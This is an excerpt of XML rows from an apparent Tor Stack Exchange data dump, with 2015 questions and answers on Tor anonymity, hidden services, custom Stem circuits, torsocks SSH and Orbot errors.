  <row Id="7053" PostTypeId="2" ParentId="7052" CreationDate="2015-06-19T10:00:23.020" Score="1" Body="&lt;p&gt;The igcognito mode of Chrome prevents the Chrome browser to remember what you were browsing/downloading while using the Chrome browser. It never protects your anonymity from the websites you visit. The websites can still see your public IP address. For eg: If you visit startpage.com via igcognito mode of Chrome, the startpage.com will still see your public IP!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the following statement from Google's &lt;a href=&quot;https://support.google.com/chrome/answer/95464?hl=en&quot; rel=&quot;nofollow&quot;&gt;official page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Be careful, because the websites you visit, your employer, or your&#xA;  service provider can still see your browsing activity, even in&#xA;  incognito mode.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As the igcognito mode will not remember your browsing history so any other user using the browser will not be able to see your browsing history. This is the actual benefit of igcognito mode of Chrome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand Tor tries to protect your anonymity from the websites that you will be visiting. Because you will be routed through a Tor network and then you will be connected to your desired website. So at the end the website will not see your public IP address. The connection between you and the website will be somehow like below: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You -------&amp;gt;  Tor Network --------&amp;gt; Desired website&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would recommend you to visit the &lt;a href=&quot;https://people.torproject.org/~andrew/website-stage/docs/faq.html.en#WhatIsTor&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt; of Tor for more information.&#xA;I hope now the difference is clear to you.&#xA;I would recommend using Tor for your survey stuff!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can my ISP see what websites I am visiting via Tor?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The answer is No and yes. It depends upon how you use the Tor.&#xA;Please refer to this &lt;a href=&quot;https://tor.stackexchange.com/questions/906/does-my-isp-know-what-sites-i-have-visited-if-i-am-using-tor&quot;&gt;question&lt;/a&gt; for the details. &lt;/p&gt;&#xA;" OwnerUserId="7695" LastEditorUserId="7695" LastEditDate="2015-06-19T12:33:04.147" LastActivityDate="2015-06-19T12:33:04.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7055" PostTypeId="1" CreationDate="2015-06-19T12:50:16.813" Score="4" ViewCount="4297" Body="&lt;p&gt;tor project faq points to this page: &lt;a href=&quot;https://metrics.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://metrics.torproject.org/&lt;/a&gt;. But it is not easy to understand. I don't understand the terms used in this page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I decipher the following information from this page:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Total number of exit nodes active are : xxxxx&lt;/li&gt;&#xA;&lt;li&gt;Total number of relays active are : xxxxxx&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6890" LastActivityDate="2015-06-23T20:24:30.663" Title="How to find the current number of tor relays/ exit nodes in entire tor network?" Tags="|relays|exit-relays|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7057" PostTypeId="2" ParentId="7055" CreationDate="2015-06-19T18:26:06.193" Score="1" Body="&lt;p&gt;I think that you want to look at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://metrics.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://metrics.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-19T18:26:06.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7058" PostTypeId="1" CreationDate="2015-06-19T18:52:43.947" Score="1" ViewCount="681" Body="&lt;p&gt;i have seeen a lot of services like mail ones on tor that you can access to a page that describes it on the public web, or recieve mails from the public web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is because i need to make a web on tor so anyone knows the owner but also to be accesible from the public web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7599" LastActivityDate="2015-06-24T19:47:30.563" Title="How can i make a website on tor but also accesible on public adress" Tags="|website|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7059" PostTypeId="2" ParentId="7049" CreationDate="2015-06-19T19:02:53.963" Score="2" Body="&lt;p&gt;To force an application to use a particular circuit your best option is to handle attaching streams to circuits yourself. For an example of this &lt;a href=&quot;https://stem.torproject.org/tutorials/to_russia_with_love.html#custom-path-selection&quot; rel=&quot;nofollow&quot;&gt;see its tutorial&lt;/a&gt;. Usually you'll leave &lt;strong&gt;__LeaveStreamsUnattached&lt;/strong&gt; set, and have all new stream events bind it to the circuit you're after.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-06-19T19:02:53.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7061" PostTypeId="2" ParentId="7049" CreationDate="2015-06-19T19:19:36.630" Score="3" Body="&lt;p&gt;I put this example together using this &lt;a href=&quot;https://stem.torproject.org/tutorials/to_russia_with_love.html#custom-path-selection&quot; rel=&quot;nofollow&quot;&gt;STEM Tutorial&lt;/a&gt;. It shows the use of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;controller.set_conf('__LeaveStreamsUnattached', '1')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to make your own circuits, attach a stream, and make a request using the &lt;a href=&quot;https://pypi.python.org/pypi/requesocks/0.10.8&quot; rel=&quot;nofollow&quot;&gt;requesocks&lt;/a&gt; module (which is just the requests module with SOCKS5 support). Hope this helps.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import StringIO&#xA;import time&#xA;&#xA;import stem.control&#xA;import requesocks&#xA;import random&#xA;&#xA;EXIT_FINGERPRINT = '379FB450010D17078B3766C2273303C358C3A442'&#xA;&#xA;SOCKS_PORT = 9150&#xA;CONTROL_PORT = 9151&#xA;CONNECTION_TIMEOUT = 30  # timeout before we give up on a circuit&#xA;&#xA;def get(url):&#xA;  &quot;&quot;&quot;&#xA;  Uses pycurl to fetch a site using the proxy on the SOCKS_PORT.&#xA;  &quot;&quot;&quot;&#xA;  session = requesocks.session()&#xA;  session.proxies = {&#xA;    'http': 'socks5://127.0.0.1:%s' % SOCKS_PORT,&#xA;    'https': 'socks5://127.0.0.1:%s' % SOCKS_PORT,&#xA;  }&#xA;  try: &#xA;    response = session.get(url)&#xA;    return response&#xA;  except:&#xA;    print(&quot;Could not connect&quot;)&#xA;&#xA;def connect(controller, path, url):&#xA;  &quot;&quot;&quot; Build a custom 2 hop circuit using the path fingerprint&#xA;  and the hard coded exit node &quot;&quot;&quot;&#xA;&#xA;  circuit_id = controller.new_circuit(path, await_build = True)&#xA;&#xA;  def attach_stream(stream):&#xA;    if stream.status == 'NEW':&#xA;      controller.attach_stream(stream.id, circuit_id)&#xA;&#xA;  controller.add_event_listener(attach_stream, stem.control.EventType.STREAM)&#xA;&#xA;  try:&#xA;    controller.set_conf('__LeaveStreamsUnattached', '1')  # leave stream management to us&#xA;    check_page = get(url)&#xA;    return check_page&#xA;  finally:&#xA;    # Stop listening for attach stream events and stop controlling streams&#xA;    controller.remove_event_listener(attach_stream)&#xA;    controller.reset_conf('__LeaveStreamsUnattached')&#xA;&#xA;with stem.control.Controller.from_port(port=CONTROL_PORT) as controller:&#xA;  controller.authenticate()&#xA;&#xA;  relay_fingerprints = [desc.fingerprint for desc in controller.get_network_statuses()]&#xA;&#xA;  fingerprint = random.choice(relay_fingerprints)&#xA;  try:&#xA;    url = &quot;http://www.torproject.org&quot;&#xA;    response = connect(controller, [fingerprint, EXIT_FINGERPRINT], url)&#xA;    if response.status_code == 200:&#xA;        print(&quot;Connection to %s successful using node %s&quot; % (url, fingerprint))&#xA;  except Exception as exc:&#xA;      print('%s =&amp;gt; %s' % (fingerprint, exc))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-19T19:19:36.630" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7062" PostTypeId="1" CreationDate="2015-06-19T22:10:26.927" Score="3" ViewCount="5960" Body="&lt;p&gt;Basically I have a router which allows wired and wifi connections. I'm using Tails on my desktop computer through a wired connection. We have cell phones that then accesses the wifi on the same network to browse the regular net, download updates etc while I'm using Tails on my desktop (no tor or Tails on the cell phones). Any way authorities can see what I'm doing on the desktop or grab my real IP address etc while Tails is running on the desktop and the cell phones are browsing the regular net and downloading etc? Note that this is NOT a public wifi connection.&lt;/p&gt;&#xA;" OwnerUserId="7698" LastEditorUserId="88" LastEditDate="2015-06-20T15:57:53.480" LastActivityDate="2018-08-16T13:49:25.413" Title="safe to use tails on deskop computer while using wifi connection on cell phone?" Tags="|security|tails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7063" PostTypeId="1" CreationDate="2015-06-20T00:52:32.063" Score="0" ViewCount="267" Body="&lt;p&gt;When installing Tor Browser on Ubuntu 14.04 where do I put the installation folder when complete (it's in the downloads folder right now).&lt;/p&gt;&#xA;" OwnerUserId="7699" LastEditorUserId="88" LastEditDate="2015-06-20T15:58:43.260" LastActivityDate="2015-06-22T20:59:16.903" Title="Where to put tor on Ubuntu 14.04" Tags="|tor-browser-bundle|ubuntu|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7064" PostTypeId="1" CreationDate="2015-06-20T05:20:51.760" Score="5" ViewCount="3974" Body="&lt;p&gt;How do I ssh to a hidden service with &lt;code&gt;torsocks&lt;/code&gt;? Manual for &lt;code&gt;torsocks&lt;/code&gt; says that &lt;a href=&quot;https://gitweb.torproject.org/torsocks.git/tree/README.md#n45&quot; rel=&quot;nofollow&quot;&gt;ssh should work just fine&lt;/a&gt; yet it doesn't. It fails with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ torsocks ssh username@example.onion&#xA;get_sock_port: getnameinfo NI_NUMERICSERV failed: ai_family not supported&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/sanmai/3401d567b6510fa830f4&quot; rel=&quot;nofollow&quot;&gt;Complete debugging log here.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it even remotely possible to use &lt;code&gt;torsocks&lt;/code&gt; in this case?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Sure, if I add an explicit proxy definition to the &lt;code&gt;.ssh/config&lt;/code&gt;, ssh to this host works just fine, but I'd prefer to use &lt;code&gt;torsocks&lt;/code&gt; because I not always can or want to modify &lt;code&gt;.ssh/config&lt;/code&gt; like follows.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Host *.onion&#xA;    ProxyCommand /bin/nc.openbsd -xlocalhost:9050 -X5 %h %p&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that's &lt;strong&gt;not&lt;/strong&gt; what I want.&lt;/p&gt;&#xA;" OwnerUserId="7701" LastEditorUserId="7701" LastEditDate="2016-03-16T08:07:18.950" LastActivityDate="2016-03-17T13:24:44.630" Title="How to ssh to a hidden service with torsocks" Tags="|onion-services|ssh|torsocks|" AnswerCount="0" CommentCount="7" ClosedDate="2018-02-01T13:53:20.297" ContentLicense="CC BY-SA 3.0" />
  <row Id="7065" PostTypeId="2" ParentId="7063" CreationDate="2015-06-20T10:57:24.477" Score="2" Body="&lt;p&gt;You can put it in any directory and extract it there. You can even extract it in the Downloads directory. After extracting, you just need to execute the start-tor-browser script by running it in terminal.&lt;/p&gt;&#xA;" OwnerUserId="3772" LastActivityDate="2015-06-20T10:57:24.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7068" PostTypeId="2" ParentId="7062" CreationDate="2015-06-20T20:23:43.410" Score="1" Body="&lt;p&gt;Well, it shouldn't be a problem.&#xA;If you have 2 pc's on one wifi network they will have the same EXTERNAL ip address. Now you are using Tails which means that ip on one of your devices will be masked. You could unmask it by logging in a website that you previously logged in with your phone using your real ip. If the ISP and the website is tracking you and you connect with both your pc and phone at the same time on the same website they could POSSIBLY find out your real ip. Or at least it would be easier for them if Tor doesn't change the circuit each 10 minutes.&lt;/p&gt;&#xA;" OwnerUserId="7696" LastEditorUserId="7696" LastEditDate="2016-04-29T21:00:51.490" LastActivityDate="2016-04-29T21:00:51.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7070" PostTypeId="1" AcceptedAnswerId="7075" CreationDate="2015-06-21T03:18:05.383" Score="1" ViewCount="991" Body="&lt;p&gt;I just reinstalled Tor and the default search engine is not Startpage, it is DISCONNECT Search.  Did I install a bogus Tor browser?  And if not, why the change from Startpage?&lt;/p&gt;&#xA;" OwnerUserId="3495" LastEditorUserId="88" LastEditDate="2015-06-21T17:22:03.987" LastActivityDate="2015-07-24T03:52:57.780" Title="Installed new Tor and now search engine is DISCONNECT search instead of Startpage" Tags="|tor-browser-bundle|security|help|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7071" PostTypeId="1" CreationDate="2015-06-21T04:34:34.973" Score="4" ViewCount="216" Body="&lt;p&gt;Now, this seems almost too obvious, so I assume I &lt;em&gt;must&lt;/em&gt; be missing something, but I figure I should run it by the experts first to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hypothetical scenario:&#xA;At 5:18pm, a user using the Tor network logs on and posts something on WikiLeaks (or some other site wherein anonymity would best be maintained in the interest of self preservation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say the data leaves country x, bounces off county a to country b to country c, finally arriving at server y in country y.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If regime x really wanted to seek prosecution of whomever contacted server y, wouldn't be as simple as contacting country y and using diplomatic connections to find out the ip of the server in country c which contacted the server y at exactly 5:18pm, contact country c to find out who contacted server c in country b, contact country b and find out who contacted server b in country a, then finally contacting country a to find out who contacted server a in country x? This of course would give them little trouble hunting down server x (you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;x =&gt; a =&gt; b =&gt; c =&gt; y&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;get ip of c by looking in y's logs at precisely 5:18 and some milliseconds&lt;/li&gt;&#xA;&lt;li&gt;get ip of b by looking in c's logs  at precisely 5:18 and some milliseconds&lt;/li&gt;&#xA;&lt;li&gt;get ip of a by looking in b's logs&lt;/li&gt;&#xA;&lt;li&gt;kick in your door once they realized your ip contacted server a at exactly 5:18&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It should be mentioned, that county x would begin the investigation if the data sent to server y directly involved it. but if the data did hurt country x, then it's not a far cry to assume that they would begin an investigation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this whole thought experiment relies on the idea that countries y,c,b, and a would all be diplomatically friendly with country x, but if its a life and death scenario should we really be relying on one countries inability to communicate with another??? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell me I'm missing something!?!?!?!&lt;/p&gt;&#xA;" OwnerUserId="7707" LastEditorUserId="88" LastEditDate="2015-06-21T17:17:14.783" LastActivityDate="2018-04-11T17:37:59.963" Title="Is this a security flaw?" Tags="|anonymity|security|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7072" PostTypeId="1" CreationDate="2015-06-21T12:06:11.290" Score="1" ViewCount="341" Body="&lt;p&gt;If i host a server as a tor hidden service what happens if that server needs to download an update or something else? Does it all go trough Tor just like it was a client? And the exit relay can see what the server is downloading?&lt;/p&gt;&#xA;" OwnerUserId="7696" LastActivityDate="2015-08-25T16:59:23.383" Title="Tor hidden services" Tags="|onion-services|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7073" PostTypeId="2" ParentId="7072" CreationDate="2015-06-21T13:31:57.847" Score="0" Body="&lt;p&gt;All traffic is routed throug tor only if you are using transparent proxying on OS level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a the most common setup the webserver will pull updates and such through the regular internet connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So unless you have set up the machine for transparent proxying a exit relay cannot see what updates are getting requested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is more information about the transparent proxy setup here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-06-21T13:31:57.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7074" PostTypeId="2" ParentId="7072" CreationDate="2015-06-21T13:38:15.947" Score="1" Body="&lt;p&gt;There are three separate questions here :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Will my server download updates over Tor? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You could configure it either way, but the hidden service setup has nothing to do with the server downloading updates.  I believe almost all instructions for setting up hidden services will only discuss the hidden service, not downloading updates over Tor.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;If my server downloads updates over Tor, and runs a hidden service, then can these activities be linked by an exit node?  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;No, there is no exit node in hidden service circuits, so no attack vector here.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;If my server downloads updates over Tor, then how secure are the downloads?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All depends upon what the update procedure is.  I donno if Debian, or other distributions, restrict themselves to https or might ocasionally fall back to ordinary http.  All Debian packages should include hashes that prevent tampering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A question you did not explicitly ask : How do I make my server download updates over Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm dubious that servers should ever do OS level transparent proxying.  I'd rather run an https proxy like &lt;code&gt;privoxy&lt;/code&gt; and selectively configure tools like &lt;code&gt;apt-get&lt;/code&gt; to use it, thus controlling exactly what connects to the outside world via tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've basic stuff working over tor, then you should consider enabling &lt;code&gt;iptables&lt;/code&gt; rules build by &lt;code&gt;ferm&lt;/code&gt; or whatever that prevent outbound connections, except from the debian-tor user, or whoever that runs the tor process.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At that point, you could observe clearly what OS services now fail due to the iptables rules.  You can go through these individually and choose if they should run over tor or not, depending upon your threat model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular there might be subtleties in configuring NTP securely either over Tor or not over Tor when hosting a hidden service. &lt;/p&gt;&#xA;" OwnerUserId="3731" LastEditorUserId="3731" LastEditDate="2015-06-21T13:54:07.887" LastActivityDate="2015-06-21T13:54:07.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7075" PostTypeId="2" ParentId="7070" CreationDate="2015-06-21T13:45:56.193" Score="2" Body="&lt;p&gt;You did most likely not download a bogus tor browser bundle if you downloaded from official download links, some time back they switched.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-45-released#Search&quot; rel=&quot;nofollow&quot;&gt;New Search Provider&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Our default search provider has also been changed to Disconnect.&#xA;  Disconnect provides private Google search results to Tor users without&#xA;  Captchas or bans.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you still have concerns then download again and verify your download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/verifying-signatures.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="5234" LastEditDate="2015-06-22T08:08:28.753" LastActivityDate="2015-06-22T08:08:28.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7076" PostTypeId="2" ParentId="7071" CreationDate="2015-06-21T15:52:08.523" Score="2" Body="&lt;p&gt;Well kinda, but that is inherent of how it works. That is quite difficult because you would have to subpoena each of the nodes which are likely from different countries which is rather hard. Additionally, people don't usually keep logs and TOR doesn't keep any by default. However, time-based attacks are a thing, they work like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;x =&gt; a =&gt; b =&gt; c =&gt; y&#xA;1)Packets left x at lets say 5:18:12 (5:18 and 12 seconds)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)Packets arrive at y at 5:18:45 (5:18 and 45 seconds)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3)You send lots of packets and they can find what the time delay and the offset is then they can see where you are sending packets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that This is usually only used in targeted attacks and is not used in a dragnet format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, note that this requires access to your isp (or at your first hop) and the exit nodes ISP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;source:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grugq, The. &quot;The Grugq - OPSEC: Because Jail Is for Wuftpd.&quot; YouTube. YouTube, 26 Nov. 2012. Web. 21 June 2015. &lt;a href=&quot;https://www.youtube.com/watch?v=9XaYdCdwiWU&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=9XaYdCdwiWU&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7711" LastEditorUserId="7711" LastEditDate="2018-04-11T17:37:59.963" LastActivityDate="2018-04-11T17:37:59.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7077" PostTypeId="2" ParentId="7071" CreationDate="2015-06-21T15:54:12.777" Score="3" Body="&lt;p&gt;What you're describing is a timing attack and yes this is possible. One attempt to mitigate this is to pump a constant stream of data through Tor at all times so it's difficult to differentiate between your upload and benign information. This was discussed &lt;a href=&quot;https://tor.stackexchange.com/questions/737/is-there-a-way-to-defend-oneself-against-a-timing-attack&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-06-21T15:54:12.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7078" PostTypeId="2" ParentId="7058" CreationDate="2015-06-21T16:01:42.203" Score="0" Body="&lt;p&gt;To setup a Tor hidden service, you're allowing a certain port (your web service) to be accessible via the Tor network. In the same way that you can provide a port to the Internet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose your web server of choice, set it up to be public on the Internet, then also run a Tor hidden service on the same machine and point it the same port that you're running the web server on. There shouldn't be anything special about it. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-21T16:01:42.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7079" PostTypeId="2" ParentId="7070" CreationDate="2015-06-21T17:25:37.560" Score="0" Body="&lt;p&gt;You most probably didn't download a bogus version of Tor Browser Bundle, but some 4.5 (or later) version. As &lt;a href=&quot;https://tor.stackexchange.com/a/7075/88&quot;&gt;Stig Atle wrote&lt;/a&gt;, the developers changed the default search engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily move back to StartPage. At the search window (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;k&lt;/kbd&gt;) there is a small arrow right of the Disconnect D icon. If you click on it a menu opens and shows you all possibilities. Just choose StartPage and every search in this sessions uses StartPage.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-06-21T17:25:37.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7080" PostTypeId="1" CreationDate="2015-06-21T21:13:39.730" Score="1" ViewCount="104" Body="&lt;p&gt;I need to transfer some data to a Tor hidden service through a custom protocol. If I did it in TCP, a successful &lt;code&gt;send(socket_to_server, data, data_length, 0);&lt;/code&gt; would mean that all data had been written and all the necessary ACKs received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor works as a SOCKS proxy, so it is TCP-like to some extent. Is it possible for Tor to silently lose data intended for a hidden service, so I have to implement an ACK message myself?&lt;/p&gt;&#xA;" OwnerUserId="7712" LastActivityDate="2015-06-21T21:13:39.730" Title="Does Tor provide TCP-like reliability?" Tags="|socks|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7081" PostTypeId="1" CreationDate="2015-06-22T09:27:23.740" Score="0" ViewCount="2414" Body="&lt;p&gt;Orbot is starting…&#xA;Orbot is starting…&#xA;I've installed Tor in my Asus but i cant used because it appears this message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;updating settings in Tor service&#xA;updating torrc custom configuration...&#xA;success.&#xA;Orbot is starting…&#xA;Tor (1): sh: &amp;lt;stdin&amp;gt;[2]: /data/data/org.torproject.android/app_bin/tor: not executable: magic 7F45&#xA;Unable to start Tor: java.lang.Exception: Torrc config did not verify&#xA;Set background service to FOREGROUND&#xA;Orbot is deactivated*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What can i do to solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="7713" LastEditorUserId="88" LastEditDate="2015-06-22T13:44:39.840" LastActivityDate="2017-03-11T12:25:27.167" Title="java.lang.Exception: Torrc config did not verify" Tags="|help|orbot|android|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7082" PostTypeId="1" CreationDate="2015-06-22T12:25:44.500" Score="1" ViewCount="366" Body="&lt;p&gt;what is the topology of the DHT used by Tor's hidden services ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and while i understand 6 nodes will be responsible for a single HS, how many nodes would a client need to visit before finding the responsible HSDIR's &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="6958" LastActivityDate="2015-06-22T12:25:44.500" Title="Tor Hidden service directories DHT topology" Tags="|onion-services|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7088" PostTypeId="2" ParentId="6682" CreationDate="2015-06-22T16:25:23.443" Score="2" Body="&lt;p&gt;Pay attemption in the URL that you are trying to access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the end has a &quot;.city&quot; (i.e.: afksldhfkhkejhks.onion.city/main_page/)in the URL's end, just delete the &quot;.city&quot; and retry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Onion City is a mechanism to turn .onion sites accessible trough the clearnet via an unconfigured browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the service is hosted in the (opressive) USA, so, they will deny access to anything that they finds &quot;illegal&quot;.&lt;/p&gt;&#xA;" OwnerUserId="7715" LastActivityDate="2015-06-22T16:25:23.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7089" PostTypeId="2" ParentId="6856" CreationDate="2015-06-22T19:05:56.000" Score="-1" Body="&lt;p&gt;You don't need to use Tor for this. Some email providers, including gmail (and I believe fastmail too), don't put your IP address in the email headers if you use the web interface. You can test by sending an email to yourself, and then on the receiving end looking at the headers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you think your employer can get cooperation from the email provider. In that case you not only need Tor but also to be very careful setting up the email account, including things like confirmation email address etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hardest part is probably to no blink or blush when asked directly to your face whether it was you.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-06-22T19:05:56.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7090" PostTypeId="2" ParentId="6546" CreationDate="2015-06-22T19:23:49.147" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;but &lt;strong&gt;almost&lt;/strong&gt; every single onion site&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you can connect to one .onion address, then there is no reason on your end why you could not connect to all of them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Hidden Service itself could be down or overwhelmed. (Or moved on to a new .onion address)&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-06-22T19:23:49.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
